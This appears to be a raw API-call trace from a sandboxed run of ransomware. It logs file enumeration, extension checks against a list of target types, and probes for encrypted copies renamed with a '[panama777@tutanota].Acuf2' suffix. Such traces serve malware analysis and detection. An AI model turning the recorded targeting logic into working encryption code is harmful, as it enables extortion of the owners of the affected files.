	[0053.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.678] lstrlenW (lpString=".zip") returned 4
	[0053.678] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString=".rar") returned 4
	[0053.678] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString=".bz2") returned 4
	[0053.678] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString=".7z") returned 3
	[0053.678] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1
	[0053.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.678] lstrlenW (lpString=".dbf") returned 4
	[0053.678] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.678] lstrlenW (lpString=".1cd") returned 4
	[0053.678] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1
	[0053.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77
	[0053.678] lstrlenW (lpString=".jpg") returned 4
	[0053.678] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1
	[0053.679] lstrcmpiW (lpString1=".inc", lpString2=".Acuf2") returned 1
	[0053.679] lstrlenW (lpString="adcvbs.inc") returned 10
	[0053.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.697] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=623) returned 1
	[0053.697] CloseHandle (hObject=0x158) returned 1
	[0053.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20
	[0053.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.697] lstrlenW (lpString=".doc") returned 4
	[0053.697] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.697] lstrlenW (lpString=".docx") returned 5
	[0053.697] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.697] lstrlenW (lpString=".pdf") returned 4
	[0053.697] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.697] lstrlenW (lpString=".xls") returned 4
	[0053.697] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.697] lstrlenW (lpString=".xlsx") returned 5
	[0053.697] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.697] lstrlenW (lpString=".ppt") returned 4
	[0053.697] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.698] lstrlenW (lpString=".zip") returned 4
	[0053.698] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.698] lstrlenW (lpString=".rar") returned 4
	[0053.698] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.698] lstrlenW (lpString=".bz2") returned 4
	[0053.698] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.698] lstrlenW (lpString=".7z") returned 3
	[0053.698] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.698] lstrlenW (lpString=".dbf") returned 4
	[0053.698] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.698] lstrlenW (lpString=".1cd") returned 4
	[0053.698] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.698] lstrlenW (lpString=".jpg") returned 4
	[0053.698] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.698] lstrlenW (lpString=".doc") returned 4
	[0053.698] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.698] lstrlenW (lpString=".docx") returned 5
	[0053.698] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.698] lstrlenW (lpString=".pdf") returned 4
	[0053.698] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.698] lstrlenW (lpString=".xls") returned 4
	[0053.698] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.698] lstrlenW (lpString=".xlsx") returned 5
	[0053.698] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.698] lstrlenW (lpString=".ppt") returned 4
	[0053.699] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.699] lstrlenW (lpString=".zip") returned 4
	[0053.699] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.699] lstrlenW (lpString=".rar") returned 4
	[0053.699] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.699] lstrlenW (lpString=".bz2") returned 4
	[0053.699] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.699] lstrlenW (lpString=".7z") returned 3
	[0053.699] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.699] lstrlenW (lpString=".dbf") returned 4
	[0053.699] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.699] lstrlenW (lpString=".1cd") returned 4
	[0053.699] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0053.699] lstrlenW (lpString=".jpg") returned 4
	[0053.699] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.699] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0053.699] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40
	[0053.699] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0055.166] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3286) returned 1
	[0055.166] CloseHandle (hObject=0x158) returned 1
	[0055.167] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20
	[0055.167] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.167] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.167] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.167] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.167] lstrlenW (lpString=".doc") returned 4
	[0055.167] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0055.167] lstrlenW (lpString=".docx") returned 5
	[0055.167] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0055.167] lstrlenW (lpString=".pdf") returned 4
	[0055.167] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0055.167] lstrlenW (lpString=".xls") returned 4
	[0055.167] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0055.167] lstrlenW (lpString=".xlsx") returned 5
	[0055.167] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0055.167] lstrlenW (lpString=".ppt") returned 4
	[0055.167] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0055.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.168] lstrlenW (lpString=".zip") returned 4
	[0055.168] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0055.168] lstrlenW (lpString=".rar") returned 4
	[0055.168] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0055.168] lstrlenW (lpString=".bz2") returned 4
	[0055.168] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0055.168] lstrlenW (lpString=".7z") returned 3
	[0055.168] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0055.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.168] lstrlenW (lpString=".dbf") returned 4
	[0055.168] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0055.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.168] lstrlenW (lpString=".1cd") returned 4
	[0055.168] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0055.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.168] lstrlenW (lpString=".jpg") returned 4
	[0055.168] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0055.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.168] lstrlenW (lpString=".doc") returned 4
	[0055.168] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0055.168] lstrlenW (lpString=".docx") returned 5
	[0055.168] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0055.168] lstrlenW (lpString=".pdf") returned 4
	[0055.168] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0055.169] lstrlenW (lpString=".xls") returned 4
	[0055.169] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0055.169] lstrlenW (lpString=".xlsx") returned 5
	[0055.169] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0055.169] lstrlenW (lpString=".ppt") returned 4
	[0055.169] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0055.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.169] lstrlenW (lpString=".zip") returned 4
	[0055.169] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0055.169] lstrlenW (lpString=".rar") returned 4
	[0055.169] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0055.169] lstrlenW (lpString=".bz2") returned 4
	[0055.169] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0055.169] lstrlenW (lpString=".7z") returned 3
	[0055.169] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0055.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.169] lstrlenW (lpString=".dbf") returned 4
	[0055.169] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0055.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.169] lstrlenW (lpString=".1cd") returned 4
	[0055.169] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0055.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84
	[0055.169] lstrlenW (lpString=".jpg") returned 4
	[0055.169] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0055.169] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0055.170] lstrlenW (lpString="BabyBoyNotesBackground_PAL.wmv") returned 30
	[0055.170] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.371] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=157292) returned 1
	[0055.371] CloseHandle (hObject=0x184) returned 1
	[0055.371] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20
	[0055.371] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.371] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.371] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.371] lstrlenW (lpString=".doc") returned 4
	[0055.371] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0055.371] lstrlenW (lpString=".docx") returned 5
	[0055.371] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0055.371] lstrlenW (lpString=".pdf") returned 4
	[0055.371] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0055.371] lstrlenW (lpString=".xls") returned 4
	[0055.371] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0055.371] lstrlenW (lpString=".xlsx") returned 5
	[0055.372] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0055.372] lstrlenW (lpString=".ppt") returned 4
	[0055.372] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.372] lstrlenW (lpString=".zip") returned 4
	[0055.372] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0055.372] lstrlenW (lpString=".rar") returned 4
	[0055.372] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString=".bz2") returned 4
	[0055.372] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString=".7z") returned 3
	[0055.372] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0055.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.372] lstrlenW (lpString=".dbf") returned 4
	[0055.372] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.372] lstrlenW (lpString=".1cd") returned 4
	[0055.372] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.372] lstrlenW (lpString=".jpg") returned 4
	[0055.372] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.372] lstrlenW (lpString=".doc") returned 4
	[0055.372] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0055.372] lstrlenW (lpString=".docx") returned 5
	[0055.372] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0055.372] lstrlenW (lpString=".pdf") returned 4
	[0055.372] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0055.373] lstrlenW (lpString=".xls") returned 4
	[0055.373] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0055.373] lstrlenW (lpString=".xlsx") returned 5
	[0055.373] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0055.373] lstrlenW (lpString=".ppt") returned 4
	[0055.373] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0055.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.373] lstrlenW (lpString=".zip") returned 4
	[0055.373] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0055.373] lstrlenW (lpString=".rar") returned 4
	[0055.373] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0055.373] lstrlenW (lpString=".bz2") returned 4
	[0055.373] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0055.373] lstrlenW (lpString=".7z") returned 3
	[0055.373] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0055.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.373] lstrlenW (lpString=".dbf") returned 4
	[0055.373] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0055.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.373] lstrlenW (lpString=".1cd") returned 4
	[0055.373] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0055.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82
	[0055.373] lstrlenW (lpString=".jpg") returned 4
	[0055.373] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0055.373] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0055.373] lstrlenW (lpString="BabyBoyScenesBackground.wmv") returned 27
	[0055.374] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.374] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=149292) returned 1
	[0055.374] CloseHandle (hObject=0x184) returned 1
	[0055.375] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20
	[0055.375] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.375] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.375] lstrlenW (lpString=".doc") returned 4
	[0055.375] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0055.375] lstrlenW (lpString=".docx") returned 5
	[0055.375] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0055.375] lstrlenW (lpString=".pdf") returned 4
	[0055.375] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0055.375] lstrlenW (lpString=".xls") returned 4
	[0055.375] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0055.375] lstrlenW (lpString=".xlsx") returned 5
	[0055.375] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0055.375] lstrlenW (lpString=".ppt") returned 4
	[0055.375] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0055.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.375] lstrlenW (lpString=".zip") returned 4
	[0055.375] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0055.375] lstrlenW (lpString=".rar") returned 4
	[0055.375] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0055.375] lstrlenW (lpString=".bz2") returned 4
	[0055.375] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0055.375] lstrlenW (lpString=".7z") returned 3
	[0055.376] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0055.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.376] lstrlenW (lpString=".dbf") returned 4
	[0055.376] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0055.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.376] lstrlenW (lpString=".1cd") returned 4
	[0055.376] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0055.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.376] lstrlenW (lpString=".jpg") returned 4
	[0055.376] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0055.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.376] lstrlenW (lpString=".doc") returned 4
	[0055.376] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0055.376] lstrlenW (lpString=".docx") returned 5
	[0055.376] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0055.376] lstrlenW (lpString=".pdf") returned 4
	[0055.376] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0055.376] lstrlenW (lpString=".xls") returned 4
	[0055.376] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0055.376] lstrlenW (lpString=".xlsx") returned 5
	[0055.376] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0055.376] lstrlenW (lpString=".ppt") returned 4
	[0055.376] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0055.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.376] lstrlenW (lpString=".zip") returned 4
	[0055.376] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0055.376] lstrlenW (lpString=".rar") returned 4
	[0055.377] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0055.377] lstrlenW (lpString=".bz2") returned 4
	[0055.377] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0055.377] lstrlenW (lpString=".7z") returned 3
	[0055.377] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0055.377] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.377] lstrlenW (lpString=".dbf") returned 4
	[0055.377] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0055.377] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.377] lstrlenW (lpString=".1cd") returned 4
	[0055.377] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0055.377] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79
	[0055.377] lstrlenW (lpString=".jpg") returned 4
	[0055.377] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
